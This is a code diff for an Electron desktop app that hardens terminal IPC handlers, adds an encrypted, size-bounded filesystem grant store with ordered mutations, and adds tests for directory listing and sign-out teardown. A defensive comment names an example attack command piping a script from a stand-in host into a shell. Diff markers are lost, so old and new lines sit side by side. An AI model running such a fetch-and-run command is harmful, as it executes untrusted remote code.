passSender: true,
|
||||
needsUserActivation: true,
|
||||
denied: { tabs: [], activeTerminalId: null },
|
||||
handler: (sender, terminalId, rawScope) => {
|
||||
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
|
||||
const contents = sender as WebContents
|
||||
const scope = activeRendererScope(terminalScopeBySender, contents, rawScope)
|
||||
if (!scope) return { tabs: [], activeTerminalId: null }
|
||||
const tabs =
|
||||
typeof terminalId === 'string'
|
||||
? deps.terminal.closeTerminal(scope, terminalId)
|
||||
? deps.terminal.closeUserTerminal(scope, terminalId, contents)
|
||||
: deps.terminal.getTabs(scope)
|
||||
return { ...tabs, scopeId: scope }
|
||||
},
|
||||
@@ -1756,20 +1782,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
handler: (sender, terminalId, data, rawScope) => {
|
||||
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
|
||||
if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
|
||||
if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
|
||||
writeTerminalText(deps.terminal, scope, terminalId, data)
|
||||
if (data.length === 0 || data.length > MAX_TERMINAL_WRITE_CHARS) return
|
||||
if (data.length <= MAX_PTY_REPLY_CHARS && PTY_REPLY.test(data)) {
|
||||
writeTerminalText(deps.terminal, scope, terminalId, data)
|
||||
return
|
||||
}
|
||||
const contents = sender as WebContents
|
||||
if (!hasRecentDeliberateInput(contents)) return
|
||||
writeTerminalText(deps.terminal, scope, terminalId, data, contents)
|
||||
},
|
||||
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
|
||||
// Panel focus is deliberately not used — `terminal:focused` is a
|
||||
// renderer-asserted claim the same attacker can set.
|
||||
//
|
||||
// MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's
|
||||
// line buffer, where the user's own next Enter submits it — visible on
|
||||
// screen, but not prevented. Closing that needs the interactive path off
|
||||
// the renderer surface entirely (main writing the keystrokes it already
|
||||
// observes) or the terminal in its own WebContents, neither of which is a
|
||||
// gate change. Tracked as follow-up.
|
||||
payloadNeedsDeliberateInput: true,
|
||||
},
|
||||
'terminal:resize': {
|
||||
kind: 'send',
|
||||
@@ -1787,13 +1808,6 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
deps.terminal.resize(scope, terminalId, toCellCount(cols, 1), toCellCount(rows, 1))
|
||||
},
|
||||
},
|
||||
'terminal:dispose': {
|
||||
kind: 'send',
|
||||
gate: 'app-origin',
|
||||
deviationReason:
|
||||
'tearing the surface down must survive the surface being off, or a terminal left running when the feature was disabled could never be reaped',
|
||||
handler: () => deps.terminal.dispose(),
|
||||
},
|
||||
'offline:retry': {
|
||||
kind: 'send',
|
||||
gate: 'local-page',
|
||||
@@ -1831,20 +1845,38 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
if (gate === 'any') return true
|
||||
if (gate === 'app-origin') return isAppOriginSender(event, deps.appOrigin())
|
||||
if (gate === 'browser-page') return isAgentWebContents(event.sender)
|
||||
return isLocalPageSender(event)
|
||||
return isLocalPageSender(event, deps.localPagePaths)
|
||||
}
|
||||
|
||||
const featureAllowed = (feature: ChannelFeature | undefined): boolean => {
|
||||
if (!feature) return true
|
||||
if (!deps.accountDataAvailable()) return false
|
||||
const preferences = deps.settings.getPreferences()
|
||||
return feature === 'browser' ? preferences.browserEnabled : preferences.terminalEnabled
|
||||
}
|
||||
|
||||
const accountDataAllowed = (spec: ChannelSpec): boolean =>
|
||||
spec.requiresAccountData !== true || deps.accountDataAvailable()
|
||||
|
||||
const requiresUserActivation = (
|
||||
requirement: ChannelSpecBase['needsUserActivation'],
|
||||
args: readonly unknown[]
|
||||
): boolean => (typeof requirement === 'function' ? requirement(args) : requirement === true)
|
||||
|
||||
for (const [channel, spec] of Object.entries(channels)) {
|
||||
if (spec.kind === 'invoke') {
|
||||
ipcMain.handle(channel, async (event, ...args) => {
|
||||
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied
|
||||
if (spec.needsUserActivation && !senderHasUserGesture(event)) {
|
||||
if (
|
||||
!senderAllowed(event, spec.gate) ||
|
||||
!featureAllowed(spec.requires) ||
|
||||
!accountDataAllowed(spec)
|
||||
) {
|
||||
return spec.denied
|
||||
}
|
||||
if (
|
||||
requiresUserActivation(spec.needsUserActivation, args) &&
|
||||
!senderHasUserGesture(event)
|
||||
) {
|
||||
return spec.denied
|
||||
}
|
||||
let handlerArgs = args
|
||||
@@ -1857,6 +1889,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
const authorization = await fetchDesktopToolAuthorization(event, deps, args[0])
|
||||
if (
|
||||
!authorization ||
|
||||
!requestedScope ||
|
||||
authorization.chatId !== requestedScope ||
|
||||
typeof requestedTool !== 'string' ||
|
||||
authorization.toolName !== requestedTool ||
|
||||
!isBrowserToolName(authorization.toolName)
|
||||
@@ -1921,11 +1955,16 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
})
|
||||
} else {
|
||||
ipcMain.on(channel, (event, ...args) => {
|
||||
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
|
||||
if (
|
||||
spec.payloadNeedsDeliberateInput &&
|
||||
needsDeliberateInputForWrite(args) &&
|
||||
!hasRecentDeliberateInput(event.sender)
|
||||
!senderAllowed(event, spec.gate) ||
|
||||
!featureAllowed(spec.requires) ||
|
||||
!accountDataAllowed(spec)
|
||||
) {
|
||||
return
|
||||
}
|
||||
if (
|
||||
requiresUserActivation(spec.needsUserActivation, args) &&
|
||||
!senderHasUserGesture(event)
|
||||
) {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { mkdtemp, readFile } from 'node:fs/promises'
|
||||
import { mkdtemp, readFile, stat, truncate, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
@@ -42,6 +42,32 @@ describe('createEncryptedLocalFilesystemGrantStore', () => {
|
||||
await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
|
||||
})
|
||||
|
||||
it('does not let an earlier save recreate the store after a later clear', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
|
||||
const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]
|
||||
|
||||
await store.load()
|
||||
const saving = store.save(grants)
|
||||
const clearing = store.clear()
|
||||
await Promise.all([saving, clearing])
|
||||
|
||||
await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
|
||||
})
|
||||
|
||||
it('applies concurrent mutations in invocation order', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
|
||||
const first = [{ id: 'grant-1', name: 'first', rootPath: '/private/first' }]
|
||||
const second = [{ id: 'grant-2', name: 'second', rootPath: '/private/second' }]
|
||||
|
||||
await Promise.all([store.save(first), store.clear(), store.save(second)])
|
||||
|
||||
await expect(store.load()).resolves.toEqual(second)
|
||||
})
|
||||
|
||||
it('does not write a plaintext fallback when OS encryption is unavailable', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
@@ -52,4 +78,68 @@ describe('createEncryptedLocalFilesystemGrantStore', () => {
|
||||
).resolves.toBe(false)
|
||||
await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
|
||||
})
|
||||
|
||||
it('preserves an invalid existing store until an explicit clear', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
const original = '{not valid json'
|
||||
await writeFile(filePath, original)
|
||||
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
|
||||
const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]
|
||||
|
||||
await expect(store.load()).resolves.toEqual([])
|
||||
await expect(store.save(grants)).resolves.toBe(false)
|
||||
await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
|
||||
|
||||
await store.clear()
|
||||
await expect(store.save(grants)).resolves.toBe(true)
|
||||
await expect(store.load()).resolves.toEqual(grants)
|
||||
})
|
||||
|
||||
it('does not replace a store written by a foreign version', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
const original = JSON.stringify({ version: 99, ciphertext: 'future' })
|
||||
await writeFile(filePath, original)
|
||||
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
|
||||
|
||||
await expect(store.save([])).resolves.toBe(false)
|
||||
await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
|
||||
})
|
||||
|
||||
it('preserves an oversized grant store until explicit clear', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
await writeFile(filePath, '')
|
||||
await truncate(filePath, 4 * 1024 * 1024 + 1)
|
||||
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
|
||||
|
||||
await expect(store.load()).resolves.toEqual([])
|
||||
await expect(
|
||||
store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }])
|
||||
).resolves.toBe(false)
|
||||
expect((await stat(filePath)).size).toBe(4 * 1024 * 1024 + 1)
|
||||
|
||||
await store.clear()
|
||||
await expect(
|
||||
store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }])
|
||||
).resolves.toBe(true)
|
||||
})
|
||||
|
||||
it('blocks stored grants with fields outside the persistence contract', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
|
||||
const filePath = join(directory, 'grants.json')
|
||||
const encryption = testEncryption()
|
||||
const payload = [{ id: 'grant-1', name: 'project', rootPath: `/${'x'.repeat(4_096)}` }]
|
||||
const original = JSON.stringify({
|
||||
version: 1,
|
||||
ciphertext: encryption.encryptString(JSON.stringify(payload)).toString('base64'),
|
||||
})
|
||||
await writeFile(filePath, original)
|
||||
const store = createEncryptedLocalFilesystemGrantStore(filePath, encryption)
|
||||
|
||||
await expect(store.load()).resolves.toEqual([])
|
||||
await expect(store.save([])).resolves.toBe(false)
|
||||
await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,8 +1,21 @@
|
||||
import { readFile } from 'node:fs/promises'
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { safeStorage } from 'electron'
|
||||
import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
|
||||
import {
|
||||
FileResourceLimitError,
|
||||
readFileWithinLimit,
|
||||
removeFileIfPresent,
|
||||
writeJsonFileAtomically,
|
||||
} from '@/main/atomic-json-file'
|
||||
|
||||
const STORE_VERSION = 1
|
||||
const MAX_GRANT_STORE_BYTES = 4 * 1024 * 1024
|
||||
const MAX_GRANT_PAYLOAD_BYTES = 5 * 512 * 1024
|
||||
const MAX_PERSISTED_GRANTS = 256
|
||||
const MAX_GRANT_ID_LENGTH = 128
|
||||
const MAX_GRANT_NAME_LENGTH = 512
|
||||
const MAX_GRANT_PATH_LENGTH = 4_096
|
||||
const MAX_GRANT_BOOKMARK_LENGTH = 256 * 1024
|
||||
const logger = createLogger('LocalFilesystemGrantStore')
|
||||
|
||||
export interface PersistedLocalFilesystemGrant {
|
||||
id: string
|
||||
@@ -33,9 +46,19 @@ function isPersistedGrant(value: unknown): value is PersistedLocalFilesystemGran
|
||||
const grant = value as Record<string, unknown>
|
||||
return (
|
||||
typeof grant.id === 'string' &&
|
||||
grant.id.length > 0 &&
|
||||
grant.id.length <= MAX_GRANT_ID_LENGTH &&
|
||||
typeof grant.name === 'string' &&
|
||||
grant.name.length > 0 &&
|
||||
grant.name.length <= MAX_GRANT_NAME_LENGTH &&
|
||||
typeof grant.rootPath === 'string' &&
|
||||
(grant.bookmark === undefined || typeof grant.bookmark === 'string')
|
||||
grant.rootPath.length > 0 &&
|
||||
grant.rootPath.length <= MAX_GRANT_PATH_LENGTH &&
|
||||
!grant.rootPath.includes('\0') &&
|
||||
(grant.bookmark === undefined ||
|
||||
(typeof grant.bookmark === 'string' &&
|
||||
grant.bookmark.length > 0 &&
|
||||
grant.bookmark.length <= MAX_GRANT_BOOKMARK_LENGTH))
|
||||
)
|
||||
}
|
||||
|
||||
@@ -62,33 +85,93 @@ export function createEncryptedLocalFilesystemGrantStore(
|
||||
filePath: string,
|
||||
encryption: EncryptionProvider = safeStorage
|
||||
): LocalFilesystemGrantStore {
|
||||
return {
|
||||
async load() {
|
||||
if (!encryptionAvailable(encryption)) return []
|
||||
try {
|
||||
const raw = JSON.parse(await readFile(filePath, 'utf8')) as Partial<EncryptedGrantEnvelope>
|
||||
if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') return []
|
||||
const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
|
||||
const parsed = JSON.parse(decrypted) as unknown
|
||||
return Array.isArray(parsed) ? parsed.filter(isPersistedGrant) : []
|
||||
} catch {
|
||||
let state: 'unknown' | 'writable' | 'blocked' = 'unknown'
|
||||
let mutationTail = Promise.resolve()
|
||||
|
||||
const enqueueMutation = <T>(operation: () => Promise<T>): Promise<T> => {
|
||||
const result = mutationTail.then(operation)
|
||||
mutationTail = result.then(
|
||||
() => undefined,
|
||||
() => undefined
|
||||
)
|
||||
return result
|
||||
}
|
||||
|
||||
const blockPersistence = (
|
||||
reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
|
||||
) => {
|
||||
if (state !== 'blocked') {
|
||||
logger.warn('Local filesystem grant persistence is unavailable', { reason })
|
||||
}
|
||||
state = 'blocked'
|
||||
}
|
||||
|
||||
const load = async (): Promise<PersistedLocalFilesystemGrant[]> => {
|
||||
if (!encryptionAvailable(encryption) || state === 'blocked') return []
|
||||
try {
|
||||
const raw = JSON.parse(
|
||||
(await readFileWithinLimit(filePath, MAX_GRANT_STORE_BYTES)).toString('utf8')
|
||||
) as Partial<EncryptedGrantEnvelope>
|
||||
if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') {
|
||||
blockPersistence('invalid-envelope')
|
||||
return []
|
||||
}
|
||||
},
|
||||
|
||||
async save(grants) {
|
||||
if (!encryptionAvailable(encryption)) return false
|
||||
const encrypted = encryption.encryptString(JSON.stringify(grants))
|
||||
const envelope: EncryptedGrantEnvelope = {
|
||||
version: STORE_VERSION,
|
||||
ciphertext: encrypted.toString('base64'),
|
||||
const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
|
||||
if (Buffer.byteLength(decrypted, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) {
|
||||
blockPersistence('resource-limit')
|
||||
return []
|
||||
}
|
||||
await writeJsonFileAtomically(filePath, envelope)
|
||||
return true
|
||||
const parsed = JSON.parse(decrypted) as unknown
|
||||
if (
|
||||
!Array.isArray(parsed) ||
|
||||
parsed.length > MAX_PERSISTED_GRANTS ||
|
||||
!parsed.every(isPersistedGrant)
|
||||
) {
|
||||
blockPersistence('invalid-payload')
|
||||
return []
|
||||
}
|
||||
state = 'writable'
|
||||
return parsed
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
state = 'writable'
|
||||
return []
|
||||
}
|
||||
if (error instanceof FileResourceLimitError) {
|
||||
blockPersistence('resource-limit')
|
||||
return []
|
||||
}
|
||||
blockPersistence('read-failed')
|
||||
return []
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
load,
|
||||
|
||||
save(grants) {
|
||||
return enqueueMutation(async () => {
|
||||
if (!encryptionAvailable(encryption)) return false
|
||||
if (state === 'unknown') await load()
|
||||
if (state === 'blocked') return false
|
||||
if (grants.length > MAX_PERSISTED_GRANTS || !grants.every(isPersistedGrant)) return false
|
||||
const payload = JSON.stringify(grants)
|
||||
if (Buffer.byteLength(payload, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) return false
|
||||
const encrypted = encryption.encryptString(payload)
|
||||
const envelope: EncryptedGrantEnvelope = {
|
||||
version: STORE_VERSION,
|
||||
ciphertext: encrypted.toString('base64'),
|
||||
}
|
||||
await writeJsonFileAtomically(filePath, envelope)
|
||||
return true
|
||||
})
|
||||
},
|
||||
|
||||
async clear() {
|
||||
await removeFileIfPresent(filePath)
|
||||
clear() {
|
||||
return enqueueMutation(async () => {
|
||||
await removeFileIfPresent(filePath)
|
||||
state = 'writable'
|
||||
})
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
DEFAULT_READ_LINES,
|
||||
} from '@sim/desktop-bridge/local-filesystem-limits'
|
||||
import { shell } from 'electron'
|
||||
import { advanceAccountDataGeneration } from '@/main/account-data-generation'
|
||||
import { LocalFilesystemService } from '@/main/local-filesystem'
|
||||
import type {
|
||||
LocalFilesystemGrantStore,
|
||||
@@ -151,6 +152,74 @@ describe('LocalFilesystemService', () => {
|
||||
expect(statData).toMatchObject({ name: 'index.ts', kind: 'file' })
|
||||
})
|
||||
|
||||
it('returns a bounded, explicitly truncated directory listing', async () => {
|
||||
const generatedNames = Array.from(
|
||||
{ length: 510 },
|
||||
(_, index) => `generated-${String(509 - index).padStart(3, '0')}.txt`
|
||||
)
|
||||
await Promise.all(generatedNames.map((name) => writeFile(join(root, name), '')))
|
||||
const granted = await mount(service)
|
||||
|
||||
const listing = dataOf(await service.handle({ operation: 'list', uri: granted.uri }))
|
||||
const entries = 'entries' in listing ? listing.entries : []
|
||||
|
||||
expect(listing).toMatchObject({ truncated: true })
|
||||
expect(entries).toHaveLength(500)
|
||||
expect(entries.map((entry) => entry.name)).toEqual(
|
||||
['README.md', 'src', ...generatedNames]
|
||||
.sort((left, right) => left.localeCompare(right))
|
||||
.slice(0, 500)
|
||||
)
|
||||
})
|
||||
|
||||
it('returns the same capped glob membership regardless of directory enumeration order', async () => {
|
||||
const generatedNames = Array.from(
|
||||
{ length: 501 },
|
||||
(_, index) => `glob-${String(500 - index).padStart(3, '0')}.match`
|
||||
)
|
||||
for (const name of generatedNames) {
|
||||
await writeFile(join(root, name), '')
|
||||
}
|
||||
const granted = await mount(service)
|
||||
|
||||
const result = dataOf(
|
||||
await service.handle({ operation: 'glob', uri: granted.uri, pattern: '*.match' })
|
||||
)
|
||||
const entries = 'entries' in result ? result.entries : []
|
||||
|
||||
expect(result).toMatchObject({ truncated: true })
|
||||
expect(entries.map((entry) => entry.name)).toEqual(generatedNames.sort().slice(0, 500))
|
||||
})
|
||||
|
||||
it('returns the same capped grep membership regardless of directory enumeration order', async () => {
|
||||
const generatedNames = Array.from(
|
||||
{ length: 5 },
|
||||
(_, index) => `grep-${String(4 - index).padStart(3, '0')}.txt`
|
||||
)
|
||||
for (const name of generatedNames) {
|
||||
await writeFile(join(root, name), 'deterministic match\n')
|
||||
}
|
||||
const granted = await mount(service)
|
||||
|
||||
const result = dataOf(
|
||||
await service.handle({
|
||||
operation: 'grep',
|
||||
uri: granted.uri,
|
||||
pattern: 'deterministic match',
|
||||
outputMode: 'files_with_matches',
|
||||
maxResults: 3,
|
||||
})
|
||||
)
|
||||
|
||||
expect(result).toEqual({
|
||||
files: generatedNames
|
||||
.sort()
|
||||
.slice(0, 3)
|
||||
.map((name) => `${granted.uri}${name}`),
|
||||
truncated: true,
|
||||
})
|
||||
})
|
||||
|
||||
it('supports the normal VFS grep regex and output modes', async () => {
|
||||
const granted = await mount(service)
|
||||
|
||||
@@ -456,6 +525,102 @@ describe('LocalFilesystemService', () => {
|
||||
expect(response).toMatchObject({ ok: false, code: 'MOUNT_NOT_FOUND' })
|
||||
})
|
||||
|
||||
it('does not commit a directory chosen after account teardown starts', async () => {
|
||||
const grantStore = new MemoryGrantStore()
|
||||
let resolveSelection: ((selection: string) => void) | undefined
|
||||
const selection = new Promise<string>((resolve) => {
|
||||
resolveSelection = resolve
|
||||
})
|
||||
const pendingService = new LocalFilesystemService({
|
||||
chooseDirectory: () => selection,
|
||||
grantStore,
|
||||
})
|
||||
|
||||
const pendingMount = pendingService.handle({ operation: 'mount_directory' })
|
||||
await pendingService.forgetAll()
|
||||
resolveSelection?.(root)
|
||||
|
||||
await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' })
|
||||
expect(grantStore.grants).toEqual([])
|
||||
expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({
|
||||
mounts: [],
|
||||
})
|
||||
})
|
||||
|
||||
it('waits for an admitted grant update before forgetAll clears persistence', async () => {
|
||||
let delaySave = false
|
||||
let releaseSave: (() => void) | undefined
|
||||
let signalSaveStarted: (() => void) | undefined
|
||||
const saveStarted = new Promise<void>((resolve) => {
|
||||
signalSaveStarted = resolve
|
||||
})
|
||||
const grantStore = new MemoryGrantStore()
|
||||
const originalSave = grantStore.save.bind(grantStore)
|
||||
grantStore.save = async (grants) => {
|
||||
if (delaySave) {
|
||||
await new Promise<void>((resolve) => {
|
||||
releaseSave = resolve
|
||||
signalSaveStarted?.()
|
||||
})
|
||||
}
|
||||
return originalSave(grants)
|
||||
}
|
||||
const selections = [root, join(root, 'src')]
|
||||
const pendingService = new LocalFilesystemService({
|
||||
chooseDirectory: async () => selections.shift() ?? null,
|
||||
grantStore,
|
||||
})
|
||||
const first = await mount(pendingService)
|
||||
await mount(pendingService)
|
||||
delaySave = true
|
||||
|
||||
const forgettingMount = pendingService.handle({
|
||||
operation: 'forget_mount',
|
||||
uri: first.uri,
|
||||
})
|
||||
await saveStarted
|
||||
const forgettingAll = pendingService.forgetAll()
|
||||
releaseSave?.()
|
||||
|
||||
await Promise.all([forgettingMount, forgettingAll])
|
||||
expect(grantStore.grants).toEqual([])
|
||||
})
|
||||
|
||||
it('releases security-scoped access once when persistence finishes after generation expiry', async () => {
|
||||
let resolveSave: ((remembered: boolean) => void) | undefined
|
||||
let signalSaveStarted: (() => void) | undefined
|
||||
const saveStarted = new Promise<void>((resolve) => {
|
||||
signalSaveStarted = resolve
|
||||
})
|
||||
const grantStore: LocalFilesystemGrantStore = {
|
||||
load: async () => [],
|
||||
save: async () => {
|
||||
signalSaveStarted?.()
|
||||
return new Promise<boolean>((resolve) => {
|
||||
resolveSave = resolve
|
||||
})
|
||||
},
|
||||
clear: vi.fn(async () => {}),
|
||||
}
|
||||
const stopAccessing = vi.fn()
|
||||
const pendingService = new LocalFilesystemService({
|
||||
chooseDirectory: async () => ({ path: root, bookmark: 'bookmark' }),
|
||||
grantStore,
|
||||
startAccessingBookmark: () => stopAccessing,
|
||||
})
|
||||
|
||||
const pendingMount = pendingService.handle({ operation: 'mount_directory' })
|
||||
await saveStarted
|
||||
advanceAccountDataGeneration()
|
||||
resolveSave?.(true)
|
||||
|
||||
await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' })
|
||||
expect(stopAccessing).toHaveBeenCalledOnce()
|
||||
expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({
|
||||
mounts: [],
|
||||
})
|
||||
})
|
||||
|
||||
it('restores an encrypted grant with the same opaque URI after restart', async () => {
|
||||
const grantStore = new MemoryGrantStore()
|
||||
const firstStopAccessing = vi.fn()
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { lstat, readdir, readFile, realpath, stat } from 'node:fs/promises'
|
||||
import type { Dirent } from 'node:fs'
|
||||
import { lstat, opendir, readFile, realpath, stat } from 'node:fs/promises'
|
||||
import { basename, isAbsolute, relative, resolve, sep } from 'node:path'
|
||||
import type {
|
||||
LocalFilesystemData,
|
||||
@@ -21,6 +22,13 @@ import { isRecordLike } from '@sim/utils/object'
|
||||
import { app, dialog, shell } from 'electron'
|
||||
import micromatch from 'micromatch'
|
||||
import safeRegex from 'safe-regex2'
|
||||
import {
|
||||
advanceAccountDataGeneration,
|
||||
captureAccountDataGeneration,
|
||||
isAccountDataGenerationCurrent,
|
||||
runAccountDataMutation,
|
||||
waitForAccountDataMutations,
|
||||
} from '@/main/account-data-generation'
|
||||
import type {
|
||||
LocalFilesystemGrantStore,
|
||||
PersistedLocalFilesystemGrant,
|
||||
@@ -28,6 +36,7 @@ import type {
|
||||
|
||||
const MAX_URI_LENGTH = 4096
|
||||
const MAX_LIST_ENTRIES = 500
|
||||
const LIST_METADATA_BATCH_SIZE = 16
|
||||
const MAX_SCAN_ENTRIES = 10_000
|
||||
const MAX_SCAN_DEPTH = 50
|
||||
const MAX_GLOB_RESULTS = 500
|
||||
@@ -256,6 +265,69 @@ function throwIfAborted(signal?: AbortSignal): void {
|
||||
}
|
||||
}
|
||||
|
||||
function compareDirectoryEntries(left: Dirent, right: Dirent): number {
|
||||
return left.name.localeCompare(right.name)
|
||||
}
|
||||
|
||||
function addToBoundedDirectoryHeap(heap: Dirent[], entry: Dirent, limit: number): void {
|
||||
if (heap.length < limit) {
|
||||
heap.push(entry)
|
||||
let index = heap.length - 1
|
||||
while (index > 0) {
|
||||
const parentIndex = Math.floor((index - 1) / 2)
|
||||
if (compareDirectoryEntries(heap[parentIndex], heap[index]) >= 0) break
|
||||
const parent = heap[parentIndex]
|
||||
heap[parentIndex] = heap[index]
|
||||
heap[index] = parent
|
||||
index = parentIndex
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if (compareDirectoryEntries(entry, heap[0]) >= 0) return
|
||||
heap[0] = entry
|
||||
let index = 0
|
||||
while (true) {
|
||||
const leftIndex = index * 2 + 1
|
||||
const rightIndex = leftIndex + 1
|
||||
let largestIndex = index
|
||||
if (
|
||||
leftIndex < heap.length &&
|
||||
compareDirectoryEntries(heap[leftIndex], heap[largestIndex]) > 0
|
||||
) {
|
||||
largestIndex = leftIndex
|
||||
}
|
||||
if (
|
||||
rightIndex < heap.length &&
|
||||
compareDirectoryEntries(heap[rightIndex], heap[largestIndex]) > 0
|
||||
) {
|
||||
largestIndex = rightIndex
|
||||
}
|
||||
if (largestIndex === index) return
|
||||
const current = heap[index]
|
||||
heap[index] = heap[largestIndex]
|
||||
heap[largestIndex] = current
|
||||
index = largestIndex
|
||||
}
|
||||
}
|
||||
|
||||
async function selectDirectoryEntries(
|
||||
path: string,
|
||||
limit: number,
|
||||
signal?: AbortSignal
|
||||
): Promise<{ entries: Dirent[]; truncated: boolean }> {
|
||||
const entries: Dirent[] = []
|
||||
let seen = 0
|
||||
const directory = await opendir(path)
|
||||
for await (const entry of directory) {
|
||||
throwIfAborted(signal)
|
||||
seen++
|
||||
addToBoundedDirectoryHeap(entries, entry, limit)
|
||||
}
|
||||
entries.sort(compareDirectoryEntries)
|
||||
return { entries, truncated: seen > entries.length }
|
||||
}
|
||||
|
||||
export class LocalFilesystemService {
|
||||
private readonly mounts = new Map<string, GrantedMount>()
|
||||
private readonly activeRequests = new Map<string, AbortController>()
|
||||
@@ -314,7 +386,9 @@ export class LocalFilesystemService {
|
||||
|
||||
/** Revoke every remembered grant, used on sign-out and origin changes. */
|
||||
async forgetAll(): Promise<void> {
|
||||
advanceAccountDataGeneration()
|
||||
this.close()
|
||||
await waitForAccountDataMutations()
|
||||
await this.grantStore?.clear()
|
||||
}
|
||||
|
||||
@@ -534,17 +608,32 @@ export class LocalFilesystemService {
|
||||
}
|
||||
|
||||
private async mountDirectory(): Promise<LocalFilesystemData> {
|
||||
const generation = captureAccountDataGeneration()
|
||||
const selection = await this.chooseDirectory()
|
||||
if (!selection) return { mount: null, cancelled: true }
|
||||
if (!isAccountDataGenerationCurrent(generation)) {
|
||||
throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
|
||||
}
|
||||
|
||||
const selected = typeof selection === 'string' ? { path: selection } : selection
|
||||
const stopAccessing = selected.bookmark
|
||||
? this.startAccessingBookmark(selected.bookmark)
|
||||
: undefined
|
||||
let accessReleased = false
|
||||
const releaseAccess = stopAccessing
|
||||
? () => {
|
||||
if (accessReleased) return
|
||||
accessReleased = true
|
||||
stopAccessing()
|
||||
}
|
||||
: undefined
|
||||
|
||||
try {
|
||||
const rootPath = await realpath(selected.path)
|
||||
const rootStat = await stat(rootPath)
|
||||
if (!isAccountDataGenerationCurrent(generation)) {
|
||||
throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
|
||||
}
|
||||
if (!rootStat.isDirectory()) {
|
||||
throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The selected item is not a directory.')
|
||||
}
|
||||
@@ -553,7 +642,7 @@ export class LocalFilesystemService {
|
||||
const id = existing?.id ?? generateId()
|
||||
const bookmark = selected.bookmark ?? existing?.bookmark
|
||||
const nextStopAccessing = selected.bookmark
|
||||
? stopAccessing
|
||||
? releaseAccess
|
||||
: (existing?.stopAccessing ??
|
||||
(bookmark ? this.startAccessingBookmark(bookmark) : undefined))
|
||||
if (selected.bookmark) {
|
||||
@@ -569,10 +658,21 @@ export class LocalFilesystemService {
|
||||
...(nextStopAccessing ? { stopAccessing: nextStopAccessing } : {}),
|
||||
}
|
||||
this.mounts.set(id, mount)
|
||||
mount.remembered = await this.persistMounts()
|
||||
try {
|
||||
mount.remembered = await runAccountDataMutation(generation, () => this.persistMounts())
|
||||
} catch (error) {
|
||||
this.mounts.delete(id)
|
||||
throw error
|
||||
}
|
||||
